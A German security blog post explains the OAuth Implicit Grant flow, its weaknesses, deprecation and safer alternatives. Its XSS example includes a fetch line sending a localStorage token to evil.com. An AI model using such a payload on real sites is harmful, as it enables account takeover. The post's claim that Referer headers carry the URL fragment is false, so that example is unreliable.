Teil 8 – Exploiting OAuth: Implicit Grant Flow

Sep. 14, 2025

—

von

Stefan

in Cyber Security, OAuth, Websecurity

Warum der Implicit Flow existierte

Als OAuth 2.0 entworfen wurde (2012), standen Web-Apps vor einem Problem:

Sie liefen komplett im Browser, oft als Single-Page-App (SPA) in JavaScript.
Diese Apps hatten kein sicheres Backend, um Tokens vertraulich zu speichern.
Deshalb sollte der Flow einfacher sein: kein Code-Austausch, kein Server, sofort ein Token.

Lösung: Implicit Grant Flow

Statt eines Autorisierungscodes gibt der Server direkt ein Access Token zurück.
Das Token landet im URL-Fragment (#access_token=...).
Die App liest es mit JavaScript aus und nutzt es sofort.

Das war praktisch – aber auch extrem unsicher.

Ablauf des Implicit Flow

Die App leitet den Nutzer zum Autorisierungs-Server weiter:

https://auth.example.com/authorize?
  response_type=token
  &client_id=123
  &redirect_uri=https://app.example.com/callback
  &scope=email
  &state=abc123

Nach Login und Zustimmung schickt der Server den Nutzer zurück an die Redirect URI – diesmal mit Token:

https://app.example.com/callback#access_token=ya29.A0ARrdaM...&state=abc123

Das Token steht im URL-Fragment (#...).
Die App liest das Fragment mit JavaScript aus und nutzt das Token.

Die großen Probleme

1. Tokens in der URL

Browser speichern die URL in der Historie.
Manche Server loggen komplette URLs.
Beim Klick auf externe Links wird oft der Referrer (inkl. Fragment) mitgeschickt.

👉 Das Access Token kann versehentlich weitergegeben werden.

2. Kein Refresh Token

Implicit Flow liefert nur Access Tokens, keine Refresh Tokens.
Lösung vieler Entwickler: Tokens mit langer Gültigkeit.
Folge: Ein gestohlenes Token ist besonders wertvoll.

3. Zugriff durch Browser-Extensions

Viele Browser-Extensions dürfen URLs und deren Inhalte sehen.
Wenn das Token in der URL steht, kann es von einer schadhaften Erweiterung abgegriffen werden.

4. XSS + Local Storage

Tokens werden oft in Local Storage oder Session Storage gespeichert.
Bei XSS können Angreifer die Tokens direkt stehlen.

5. Fehlende PKCE

Im Implicit Flow gibt es keinen Autorisierungscode → kein Platz für PKCE.
Bedeutet: Keine Absicherung gegen Replay-Angriffe.

Beispiel-Angriff: Token im Referrer

Nutzer loggt sich über Implicit Flow ein.
Redirect URI sieht so aus:

https://app.example.com/callback#access_token=ABC123

Nutzer klickt auf einen Link zu https://evil.com.
Browser sendet Referrer-Header:

Referer: https://app.example.com/callback#access_token=ABC123

Ergebnis: Angreifer bekommt das Access Token.

Beispiel-Angriff: XSS + Local Storage

SPA speichert Access Token in localStorage.
Es gibt eine XSS-Lücke (z. B. durch ungesicherten Chat).
Angreifer injiziert:

fetch("https://evil.com/steal?token=" + localStorage.getItem("access_token"));

Das Token landet beim Angreifer.
Er kann sofort auf geschützte Ressourcen zugreifen.

Warum Implicit Flow heute unsicher ist

Tokens dürfen nie in der URL auftauchen.
Es gibt keine Möglichkeit, PKCE einzusetzen.
Keine Refresh Tokens → Entwickler machen Tokens länger gültig → erhöhtes Risiko.
SPAs haben bessere Alternativen (Code Flow mit PKCE).

Darum hat die OAuth 2.1-Spezifikation den Implicit Flow offiziell gestrichen.

Alternativen zum Implicit Flow

1. Authorization Code Flow mit PKCE

SPAs leiten den Nutzer wie gewohnt zum Autorisierungs-Server.
Statt des Tokens gibt es einen Code.
Der Code wird mit PKCE eingetauscht → sicherer.
Access Token kommt nicht über die URL, sondern über einen Server-Call.

2. Backend-for-Frontend (BFF)

Idee: Das Frontend redet nicht direkt mit dem Autorisierungs-Server.
Stattdessen hat man ein kleines Backend, das den OAuth-Flow übernimmt.
Vorteile: Tokens werden nur im Backend gespeichert, niemals im Browser.

Schutzmaßnahmen (wenn Implicit noch im Einsatz ist)

Manche Legacy-Systeme nutzen Implicit Flow noch. In solchen Fällen:

Tokens so kurzlebig wie möglich machen (wenige Minuten).
Keine sensiblen Scopes über Implicit Flow vergeben.
Tokens nie in Local Storage speichern → nur in Session Cookies mit HttpOnly.
Logging-Systeme prüfen und Tokens maskieren.
Referrer-Policy setzen (no-referrer oder strict-origin-when-cross-origin).

Reale Fälle aus der Praxis

Bug-Bounty-Berichte zeigen regelmäßig: Tokens im Referrer oder in Logs führten zu Account Takeover.
Mobile Apps nutzten Custom URI-Schemes (myapp://callback#token=...), die von anderen Apps abgefangen werden konnten.
Unternehmens-APIs gaben lange gültige Tokens über Implicit Flow aus – Angreifer nutzten diese Tokens, um Kundendaten zu extrahieren.